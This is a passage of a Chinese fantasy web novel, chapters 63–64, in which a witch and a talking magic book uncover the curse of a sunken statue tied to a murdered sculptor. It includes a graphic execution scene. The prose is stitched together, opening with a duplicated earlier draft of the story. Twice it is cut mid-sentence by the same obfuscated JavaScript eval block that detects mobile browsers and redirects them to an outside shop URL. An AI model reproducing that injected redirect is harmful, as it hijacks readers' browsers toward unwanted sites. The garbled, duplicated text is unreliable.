了她。 记者被这个故事深深打动,她决定帮助尼科洛揭露这个被埋藏的秘密。 他们一起举办了一个小型的展览,泰萨雕像成为了焦点。 人们被这座雕像的美丽和神性所吸引,更被亚历山德罗的悲剧所打动。 媒体开始报道这个故事,亚历山德罗的名字再次被人们提起,他的艺术和遭遇引起了广泛的关注和讨论。 在展览的最后一天,一位年迈的女士来到了现场,她的眼中含着泪水。 她是亚历山德罗的孙女,她向尼科洛讲述了家族的历史和亚历山德罗的最后日子。 “我祖父一直相信,他的艺术能够超越生死,他的灵魂会与泰萨同在。”女士的声音颤抖,但充满了骄傲。 “谢谢你,尼科洛,谢谢你让世界重新认识了他。” … 一间破旧工作室里,光线透过半开的百叶窗斑驳地洒在地面上。 艺术家亚历山德罗·莫雷蒂站在一块巨大的大理石前,他的手指轻轻抚摸着那冰冷而坚硬的表面,仿佛能感受到石头内部隐藏的生命。 他的眼中闪烁着对艺术的狂热和对完美的执着。 “你将是我生命中最完美的作品,泰萨。”亚历山德罗轻声对着大理石说道,他的声音中充满了期待和敬畏。 他拿起凿子和锤子,开始了漫长的创作之旅。 每一次敲击,每一次雕琢,都是他对美的追求和对神性的诠释。 大理石的碎片随着他的动作飘落,如同雪花般轻盈。 亚历山德罗完全沉浸在自己的世界中,他的心灵与手中的石头对话,引导着他的手去释放那被囚禁在石头中的神性。 “你看到了吗,我的老朋友?”亚历山德罗对他的助手马可说道,他的眼中闪烁着兴奋的光芒。 “泰萨的轮廓越来越清晰了。” 马可点了点头,他的眼神中既有对师傅技艺的钦佩,也有对即将诞生的杰作的期待。 “是的,亚历山德罗,泰萨的面容正在逐渐显现,就像神话中走出的神祇。” 随着时间的推移,泰萨的形象逐渐在大理石中显露出来。 亚历山德罗的双手仿佛被神灵指引,每一次凿击都恰到好处,每一条线条都流畅而生动。 泰萨的面容庄严而神圣,他的眼睛深邃,仿佛能洞察人心。 然而,随着泰萨的完成,亚历山德罗的命运也开始发生了转折。 他的杰作引起了当地权贵的嫉妒和贪婪。 他们无法容忍一个平民艺术家创造出如此完美的作品,这让他们感到自己的无能和渺小。 “你必须毁掉泰萨,或者我们会让你付出代价。”权贵的使者冷冷地对亚历山德罗说道,他的眼神中没有一丝温度。 亚历山德罗的心如刀割,他无法接受毁掉自己心血的命令。 他拒绝了使者的要求,但这个决定却为他带来了灾难。 权贵们没有放过他,他们诬陷他为异端,将他逮捕并判处了死刑。 在执行死刑的前夜,亚历山德罗被带到了一个荒凉的海边。 他的双手被反绑在背后,脸上充满了绝望和不甘。海风带着咸湿的气息,吹拂着他凌乱的白发。他的眼中倒映着月光,闪烁着复杂的情感。 “为什么?为什么神要这样对待我?”亚历山德罗对着夜空嘶吼,他的声音中充满了愤怒和悲伤。 “因为你的傲慢,你以为自己能够创造出神的面容。” 63. 目前为止 “玛菲,你在开什么玩笑?安安和二十一不是一直呆在倒影沼泽里面等待投胎转世吗?” 亡灵法师皱起眉头,感觉事情变得有点棘手:“奇点考核已经结束,这个场景随时都会坍缩,根本无法控制。” 肥美的橘猫看了看布兰奇,又看了看那块冰封火箭蝶,满脸茫然地“喵”了一声,身形逐渐透明。 冰块骤然炸裂,晶莹碎片在半空中悬停,火箭蝶从普通蝴蝶大小变成了三平方米的面积。 一道猩红色身影倏地出现,可惜帅不到半秒就脚底打滑,“啪叽”摔在火箭蝶的背上。 “我说的是另一半的她,活着的她,之前在2号副本里面失踪了,可刚才我却看到她出现在围观的人群里面——” 岑小哉顶着满脸五光十色的鳞粉抬起头。 场景里的天空像被火焰点燃的白纸一样,从最高处开始缓缓变得漆黑。 “我也看到她们了。”布兰奇低声应道。 熙熙攘攘的人群之中,白发金眸的小女孩坐在一个高挑男人的肩膀上,双手紧紧握着他头顶的尖锐犄角。 而那人的背后长着一双完整无缺的黑色羽翼。 “真正的恶魔诸禅。”女巫的赤金竖瞳紧缩成线,下意识龇出满口小尖牙。 布兰奇却没听清她在说什么,看见那小女孩的瞬间,她当场愣住:“不对,安安的灵魂变得完整了。” 曾经一分为二的灵魂要重新弥合,必然经历了一场漫长而痛苦的炼魂过程。 就算是女巫和亡灵法师这样的永生族裔,一不小心都把自己玩进了圣萨罗斯的医疗室里,更何况,安安生前只是个普通人类小孩。 布兰奇看向那个恶魔,眼神瞬间冷到极致。 就在这时,恶魔也发现了她们。那双酒红色眼眸中泛起挑衅笑意,他张开翅膀,当即就要带着女孩离去。 “天杀的死乌鸦!把安安还给我!”岑小哉一声暴喝。 但考核场景的能量已经彻底耗尽,大橘猫无能为力地“喵”了最后一声,彻底消失在布兰奇怀中。 … 树屋一楼。 茶几缩小了三分之二,四脚朝天,支撑着女巫那只土黄色坩埚。底下整整齐齐摆列着六枚已被触发了符文的火焰宝石,呈六边形状,热量足以让坩埚里的汤水不停沸腾。 岑小哉在炉火旁边的地面上摊成个“大”字,面无表情。任凭砂糖橘和小菠萝“嗷嗷嗷”乱叫着在她身上跑来跑去。 但仔细看就不难发现,她正在轻一下重一下地揪着路其翅膀上的羽毛,非常光明正大,不存在半点虐待同门师兄的心虚。 “你的意思是说,由于你当初误入那个四维坐标,不小心摧毁了路其的本体,所以他至今为止就只能一直寄生在恶魔诸禅的第四十一次转世身上?” 亡灵法师抱着她的骷髅小猴,主人与宠物双双呆滞如雕像。 “对啊,这很难理解吗?”女巫淡淡翻了个死鱼眼。 布兰奇:“说实话,你们之间这种上一秒你死我活下一秒相濡以沫的关系确实让人难以理解。” 她摇了摇头,瞥了一眼刚刚还在互相撕咬现在却给彼此温柔舔毛的两只三花小猫咪。 “布兰奇小姐,请问您要先吃点沙拉垫垫肚子吗?”终于把全部食材整理完毕的章鱼管家游了过来,腕足上端着四盘不同的果蔬,姿态优雅如一丛随波飘荡的海草。 “好主意。”亡灵法师干巴巴应道。 毕竟在大部分时候,饿肚子无法解决问题,只会制造出更多问题。 热腾腾的火锅吃到一半,女巫从中夹出一只龙虾。 或者说,一只龙虾夹住了女巫的筷子然后被她提了起来,并呆头呆脑地开始说话: “女巫玛菲,你好。由于你上学期在‘如何估计一片区域内田鼠数量’的问题中选择了问卷调查法,截至目前为止已经有六十三亿只田鼠填写了问卷,请问你是否现在查阅问卷内容?” 岑小哉这顿饭吃得脑袋发懵,仔细想想好像是有这么一回事。 她点了点头:“是。” 雪花般的小纸片从天而降,纷纷扬扬,瞬间堆满了树屋一楼的客厅,甚至挤爆了大门飘到屋外,每一张纸片上都布满或深或浅的小爪印。 被小纸片淹没的女巫这时候才想起来,问题里所说的“区域”,应该是指曼陀罗星系边缘地带的—— 某颗行星。 “啊!我好恨综合学科!” 她手脚并用,忿忿不平地从纸片堆深处往外刨,花了大概十分钟的人类世界时间才从中把自己刨出来。 才刚探出半个头,岑小哉就看见那本神出鬼没的魔法书。 四周隔着一层水波纹状的结界,树屋外围的蓝天白云大草原变得模糊不清。 魔法书的封皮依旧流光溢彩,但它刻意压低的夹子音更加尖细难听:【尊敬的主人,我带来了一个好消息!】 女巫抻了一下脖子,终于露出整颗脑袋,表情却实在称不上有多好看。 “你说。” 魔法书战战兢兢打开了自己,展示出荧蓝色的两簇乱葬岗鬼火。 【我们成功拿到了与2号副本相对应的魔药材料。而且截至目前为止,完全没有检测到丝毫3号噩梦之主苏醒的迹象。】 “确实算是个难得的好消息。”岑小哉仍然被埋在纸堆里,满脸乌云终于散去一点点,“对了,那3号噩梦之主应该也不难对付吧?或许我可以先下手为强?” 【我想是的。】魔法书小声答道。 女巫头上的两条墨绿色麻花辫得意洋洋地向上拱弯,模拟叉腰的姿势:“区区一磅虚假神像的边角料,简直手到擒来。” 【理应如此。】魔法书再次小声答道。 “给你十秒钟时间,把关于神像的最新讯息给我端上来。” … 海水如同流动的蓝宝石,阳光透过水面,洒下斑驳的光影。 年轻的潜水员尼科洛·马瑞利正缓缓穿梭在这片神秘的水下世界,他的呼吸器发出轻柔的气泡声,与海水的静谧形成鲜明对比。 阳光透过水面,将海底的沙石染成一片金黄。海水在尼科洛身边轻轻涌动,他能感受到水流的微妙变化,仿佛是大海在轻声低语。 尼科洛的目光在珊瑚礁和游鱼间游移,直到一抹不同寻常的白色吸引了他的注意。 那是从一块巨大的岩石下透出的微光。 尼科洛调整着潜水镜,好奇心驱使他游向那片神秘的光源。 他小心翼翼地拨开覆盖在岩石上的海藻,露出了一块光滑的大理石表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323865|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 手电筒照亮了这块石板,只见上面雕刻着精细的花纹,仿佛是某种古老的符号。他伸出手,轻轻触摸那些冰冷而坚硬的线条,心中涌起一股莫名的敬畏。 “这是什么?”尼科洛自言自语,他的声音在水下显得有些沉闷。 他试图移动石板,却发现它异常沉重。他深吸一口气,用力一推,石板缓缓移开,露出了一个隐藏的洞穴。 尼科洛的心跳在胸腔中猛烈地跳动,身体里充斥着一种前所未有的兴奋。 他游进了洞穴,内部比外面更加昏暗,只有他手中那支强光手电筒的光束在四处扫射。 突然,一道耀眼的光芒刺痛了尼科洛的眼睛。再次睁开眼时,他看到了一尊巨大的雕像,它半掩在沙石与海草丛中,仿佛是一位在海底沉睡多年的神明。 雕像的面容庄严而光洁,双眼紧闭,仿佛在沉思着宇宙的奥秘。它的身体线条流畅得近乎完美,每一寸肌理都透露出艺术家的匠心独运。 尼科洛的所有注意力都被这尊雕像牢牢吸引,他甚至能感觉到雕像的呼吸,它仿佛随时会苏醒过来一样。 “我的天啊,这竟然是‘泰萨’!” 至高无上的泰萨,是斯旺大陆传说中唯一的天神。 但眼前的这尊雕像,它更像是一位艺术家对天神的想象。 尼科洛游了过去,轻轻触摸着雕像,感受到石头的冰冷质感和岁月留存下来的痕迹。 他心中涌起了一股强烈的好奇心:如此美丽的雕像,为何会沉没在大海深处? “它一定有着特别的故事。” 召集人手将这尊雕像带回岸上之后,尼科洛租了一间工作室,开始对雕像进行清理和研究。 他用柔软的刷子轻轻拂去雕像上的海沙,每一寸显露出来的细节都让他更加着迷。 泰萨的眉眼逐渐清晰,那是一种超越时间的美,一种让人心生敬畏的神性。 在雕像的底座,尼科洛发现了一行几乎被岁月侵蚀得看不清的文字:“愿我们的灵魂与泰萨同在——亚历山德罗·莫雷蒂。” 他心中一震,这个名字他曾在讲述斯旺大陆艺术史的书籍上见过: 亚历山德罗·莫雷蒂,一个死于神权倾轧的天才雕塑家。 经过一段时间的筹备后,尼科洛举办了一个小型展览,泰萨雕像成为了这片大陆的最新焦点。 人们被这座雕像的美丽和神性所吸引,更被亚历山德罗的悲剧所打动。 媒体开始报道这个故事,亚历山德罗的名字再次被人们提起,他的才华和悲惨遭遇引起了非常广泛的关注与讨论。 展览的最后一天,一位满头银发的女士来到了现场,灰眸中含着泪水。 她是亚历山德罗的孙女,她向尼科洛讲述了家族的历史和亚历山德罗最后的日子。 “我的祖父一直相信,艺术能够超越生死。”年迈女士的声音颤抖,但充满了骄傲,“谢谢你,尼科洛。你让世界重新想起了他。” 泰萨雕像的展览结束后不久,尼科洛·马瑞利的名字再次出现在媒体报道中。 那件美丽的艺术品变成一堆大理石碎片,而让“泰萨”重见天日又亲手毁掉了它的年轻潜水员丧命于海中。被冲上海滩的时候,鲨鱼已将他的尸体啃噬得残缺不堪。 64. 厄运诅咒 时间倒退回到半个奇点中期之前。 婴儿梦境花园隔壁的电子怪兽园区——的中心,是一座庞大如水族馆的培养皿,里面孕育着各种奇形怪状的巨兽。 其中,最为人所忌惮的,便是以女巫玛菲为原型培育出来的夺命六头鲨。 它拥有六个脑袋,六张血盆大口以及十二只眼睛。每只眼睛都散发着幽绿的光芒,身体覆盖着坚硬的鳞片,闪烁着金属光泽,是科技与魔法的完美结合。 控制室内,八荒小队正紧张地监控着这只夺命六头鲨的数据。 【警告!警告!能量波动异常!】 【警告!警告!能量波动异常!】 【警告!警告!能量波动异常!】 持续响起的尖利警报声伴随着一阵阵红色闪光,不断提醒着所有人: 一场巨大的危机已经降临。 “是噩梦矩阵!它正在侵蚀我们的防御系统!”一道扭曲的裂缝在培养皿表面悄然出现,仿佛是一张邪恶的笑脸,预示着即将到来的灾难。 夺命六头鲨似乎感受到了外界的能量波动,它的十二只眼睛同时亮了起来,闪烁着嗜血的光芒。 “快!启动紧急程序,封锁培养皿!”队长王鸿大声喊道,他的声音在控制室内回荡,试图压过警报的噪音。 然而,为时已晚。 那只夺命六头鲨突然爆发出一股强大的力量,它挣脱了束缚,撞破了培养皿的裂缝,冲上天空,消失在了那片乌云与浓雾之中。 女巫在魔法书提供的有关3号噩梦副本的资料中看到了以上这一切。 她严重怀疑自己的眼睛出现了问题。 “等会儿,什么叫‘以我为原型’?” 岑小哉瞪大了那双赤金竖瞳,眉头紧锁,非常努力想要理解这个荒谬的概念。 【……字面意思。】魔法书扭扭捏捏地说道,仿佛它自己也对这个解释感到尴尬。 女巫蓦地捂住心口,一脸很受伤的表情:“所以,在学长和学姐她们眼里,我是一只鲨鱼?” 【确切地说,是一只长着六个头的鲨鱼。】魔法书补充道,它的语气中带着一丝不易察觉的窃笑。 【尊敬的主人,满意您所看到的吗?】 岑小哉至今还是无法理解“英雄主义”,正如她此刻也无法理解,这本魔法书如此胆大妄为地发出挑衅到底是哪来的勇气。 于是她毫不犹豫地张开嘴,口吐烈焰,让对方好好感受一把自己内心的炙热。 一张惨叫过后,火花四溅的魔法书终于夹紧了书页,不敢再胡言乱语。 “那么话说回来,你该不会是想告诉我,尼科洛之死跟这只夺命六头鲨有关吧?啊?”岑小哉皱着脸叉腰问道。 显然,最后那声提高了八度的“啊”是一句死亡质问。 【哦那倒不是,尼科洛的死亡只与那尊泰萨神像紧密相关,甚至可以追溯到创造出神像的雕塑家:亚历山德罗·莫雷蒂。】 水波纹屏障上出现了那座美丽的泰萨城。 入眼是丰富的植被,无数草坪、果园和林地构成了让人心旷神怡的自然风光,到处都是喷泉,还有许多不规则的花簇和池塘等平缓的水景。 美如天国花园的城池以“泰萨教廷”为中心,这座宏伟的巴西利卡建筑高耸于天神河畔,将城中大部分街区都笼罩在阴影之下。 其中就包括亚历山德罗·莫雷蒂位于街角的那间小工作室。 阳光从百叶窗的缝隙里偷偷溜进来,给破旧的工作室铺上了一层斑驳的光影。 亚历山德罗·莫雷蒂站在一块巨大的大理石前,他的指尖轻轻滑过那冷冰冰、硬邦邦的石面,好像能触摸到石头里头藏着的神秘生命。 “泰萨,你将成为我生命中最完美的杰作。” 雕塑家轻声对着大理石呢喃,声音里满是期待和敬仰。 随后,他拿起凿子和锤子,大理石的碎片随着他的动作轻轻飘落,轻盈如雪花。 每一次击打,都是对神性的感悟。 亚历山德罗整个人仿佛完全沉浸在另一个世界,心灵与石头进行无人能懂的对话,引导着他的双手去释放那被囚禁在石头中的神明。 “瞧,我的老伙计,”亚历山德罗转向他的助手马可,眼里闪烁着兴奋的光芒,“泰萨的轮廓越来越清晰了。” 马可轻轻点头,眼里满是对师傅手艺的赞叹。 “确实,亚历山德罗,泰萨的轮廓越来越清晰,就像神话里走出来的神一样。” 时间慢慢流逝,泰萨的面容在石头里逐渐显现。亚历山德罗的手法仿佛被神明指引,每一击都精准无比,每条线条都流畅而有生命力。 泰萨的面容庄严肃穆,眼睛深邃,似乎能看透人心。 然而,随着惊世之作的诞生,雕塑家的命运似乎也走上了一条不归路—— 阳光透过彩绘玻璃窗,洒在泰萨教廷宏伟的大厅里,斑驳陆离的光影在光滑的大理石地板上跳跃。 戒律长老们身着华丽的长袍,头戴象征地位的冠冕,目光高傲而冷漠,如同雕塑般凝固在各自的宝座上。 亚历山德罗作为一个默默无闻的雕塑家,却用他的双手挑战了他们身为神明使者的权威。这件事如同一把锋利的刀子,割开了这些权贵们虚伪的面纱。 “亚历山德罗,你这个卑微的工匠,竟妄想用一块石头揭示天神泰萨的真容?”萨鲁曼·阿尔布雷希特站起身,声音中带着不容置疑的威严,“你难道不知道,这里是泰萨城,是神的领域,不是你放肆的地方!” 亚历山德罗抬起头,眼中没有恐惧,只有坚定。 “艺术是无罪的。我手中的雕塑,只是表达了自己对神性的追求。” “神性?追求?”另一位戒律长老冷笑道,“你的雕塑在这里,就是在挑战我们的统治,就是在煽动民众的不满。你必须立刻销毁它,否则,你将付出巨大的代价。” 亚历山德罗的心沉了下去:“不,我绝不会这么做。我的作品是无辜的,它只是一块石头,一块展示了自由意志的石头。” 戒律长老们的脸色变得更加阴沉,眼神中闪烁着愤怒和威胁。 “那么,亚历山德罗,你将为你的固执付出代价。” 雕塑家被关进了阴暗的牢房,冰冷的墙壁上滴着水,空气中弥漫着霉味和绝望。 他坐在稻草堆上,双手抱膝,眼神中的光芒渐渐黯淡。 “亚历山德罗,你后悔吗?” 一个低沉的声音在牢房的阴影中响起,是泰萨教廷的审判官,他轻蔑地看着雕塑家,眼中没有丝毫同情。 亚历山德罗抬起头,他的神情中闪过一丝痛苦,但很快又被坚定所取代。 “我不后悔!哪怕为此死去,我的灵魂将与泰萨同在。” “真是抱歉。”审判官摇了摇头,脸上讥讽的笑意更加浓郁,“在这里,权力就是真理。既然你挑战了权力,就必须受到惩罚。” 他站起身,转身离开,留下亚历山德罗独自一人面对着无尽的黑暗。 临刑之夜,雕塑家被带到了一片荒凉的海岸边。双手紧紧地绑在背后,海风吹乱了他那一头白发。 “为什么?为什么神要这样对我?”亚历山德罗对着夜空大喊,声音里满溢着悲伤。 审判官冷漠地答道:“因为你的狂妄自大,自以为能够刻画出神的容颜。” 亚历山德罗被粗暴地推倒在地,脸庞紧贴着冰冷粗粝的沙滩,海水的咸味和泥土的气息混合在一起,几乎令他窒息。 几个壮汉抬起了他的身体,他们的动作迅速而有力,显然是执行过无数次这样的任务。亚历山德罗的心中涌起了一股无力感,他知道自己无法抵抗这些训练有素的刽子手。 他们将他带到了一块巨大的水泥柱旁。 亚历山德罗的心中闪过一丝明悟,他知道自己的命运将会和这根水泥柱一起永远地封存于深海之中。 那些行刑者强行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14348238|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他的身体塞进了柱子的中心,水泥也迅速浇筑进去,冰冷液体很快填满了周围的空隙。 亚历山德罗的呼吸越来越困难,心脏在胸腔中狂乱地跳动,仿佛渴望挣脱这即将到来的厄运。可他的皮肤被水泥的冰冷所侵蚀,意识也开始模糊。 他努力地睁大眼睛,想要在这最后的时刻记住这个世界的模样: 天空中的星星,它们依旧璀璨而遥远。海浪拍打着海岸,永不停歇。 水泥继续浇落,亚历山德罗的视线被完全遮挡。世界变成了一片黑暗,他的呼吸越来越微弱。 他感到自己的身体被水泥的重量所压迫,心跳变得越来越慢。 在这最后的时刻,亚历山德罗的心中充满了对泰萨的思念。 他想起了雕刻泰萨的每一个细节,他想起了自己倾注在泰萨身上的每一滴汗水和每一滴心血。 泰萨会永远地留在这个世界上,即使他自己的身体也将会被永远地封存于深海之中。 “我……不再有遗憾……” 水泥柱逐渐凝固,亚历山德罗的生命就此走到尽头。 然而,雕塑家不知道的是,泰萨教廷的戒律长老们远比他所想象的更加残忍。 三天后,他们下令掏空了泰萨雕像的底座,又让人将封存着亚历山德罗尸骸的水泥柱塞进了雕像之中,然后重新填补完整。 亚历山德罗和他心爱的泰萨被运到一艘大船上,缓缓沉入了深海。 … “那么问题来了,在过去的二十年里,到底是谁专门跑到海底挖了个洞,把雕像塞进去?” 女巫双手抱臂,表示质疑。 魔法书又一次端出了那种高深莫测的语气:【这个问题的答案,恐怕只有那些知晓泰萨教廷秘密的人才能解答。】 岑小哉转过头,目光锐利地盯着魔法书:“老实交代,你到底还知道些什么?” 【二十年前,泰萨教廷内部发生了一场权力斗争。一些长老们为了巩固自己的地位,不惜动用禁忌的力量,他们需要一个强大的祭品来完成他们的仪式。】 【亚历山德罗的牺牲,只是他们计划的一部分。他们需要一个能够承受巨大能量的容器,而他的尸体,因为其与泰萨雕像的深厚联系,成为了完美的选择。】 女巫皱起眉头,这个故事如此解释似乎比较合理了,但远比她想象的还要复杂那么一丢丢。 “那他们为什么要将雕像沉入海底?” 【他们相信,通过将雕像沉入海底,可以利用海洋的力量来保护这个仪式,使其不被外界干扰。】 但是,那些权贵们没有料到的是,亚历山德罗的灵魂并未完全消散。 他与泰萨雕像的联系太过强大,以至于让他的灵魂在海底找到了一种新的存在方式—— 厄运诅咒。 “如此说来,发现了泰萨神像之后离奇死掉的潜水员尼科洛,就是第一个牺牲品?” 【您说得没错。】魔法书的夹子音中甚至都带上了一丝沉重,【亚历山德罗的灵魂与泰萨雕像的联系太过强大,他的怨恨和不甘在深海中形成了一种诅咒。任何接近雕像的人,都会受到诅咒的影响,遭遇不幸。】 女巫若有所思地点了点头。 实际上也是如此,在所有古老的故事中,被诅咒的物品往往会给拥有者带来灾难。 “那也就是说,尼科洛的死,只是诅咒的开始。” 【实际上,泰萨雕像沉入海底后,那些曾经试图打捞它的潜水员,无一例外都遭遇了不幸。而尼科洛只是其中之一。】 听完了魔法书的解说之后,岑小哉有点头疼地“啧”了一声: “好吧,看来在拿到神像碎片之前,最好还是找到一种方法来解决这个泰萨教廷。否则,还会有更多的凡人因此而丧命。” 【您说得没——等等!为什么是解决泰萨教廷啊?难道不应该是想办法解决诅咒吗?!】魔法书不由自主地发出了一串尖锐爆鸣。